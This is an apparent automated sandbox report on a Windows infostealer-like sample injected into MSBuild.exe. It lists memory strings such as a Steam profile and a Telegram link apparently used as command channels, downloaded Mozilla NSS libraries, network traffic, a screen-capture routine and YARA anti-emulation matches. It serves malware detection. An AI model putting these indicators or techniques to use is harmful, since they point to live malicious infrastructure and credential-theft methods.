Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=1rP88j3WZLBx&amp
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/heade
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: AFBFHD.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AFBFHD.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AFBFHD.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	String found in binary or memory: https://github.com/icsharpcode/SharpZipLib
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: ECGIII.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001062000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/ho
Source: 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199689717899
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/m
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000003F6F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1763723745.0000000002F96000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1769696324.0000000005DC7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899%
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899/badges
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899/inventory/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899u
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/
Source: 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: CBGCAF.1.dr	String found in binary or memory: https://support.mozilla.org
Source: CBGCAF.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CBGCAF.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp, FIIDBK.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: FIIDBK.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp, FIIDBK.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: FIIDBK.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000003F6F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1763723745.0000000002F96000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1769696324.0000000005DC7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/copterwin
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: AFBFHD.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: AFBFHD.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: CBGCAF.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/:
Source: CBGCAF.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/FIDGDHJDBK
Source: CBGCAF.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: CBGCAF.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: CBGCAF.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: CBGCAF.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004112FD _EH_prolog,memset,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_004112FD

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
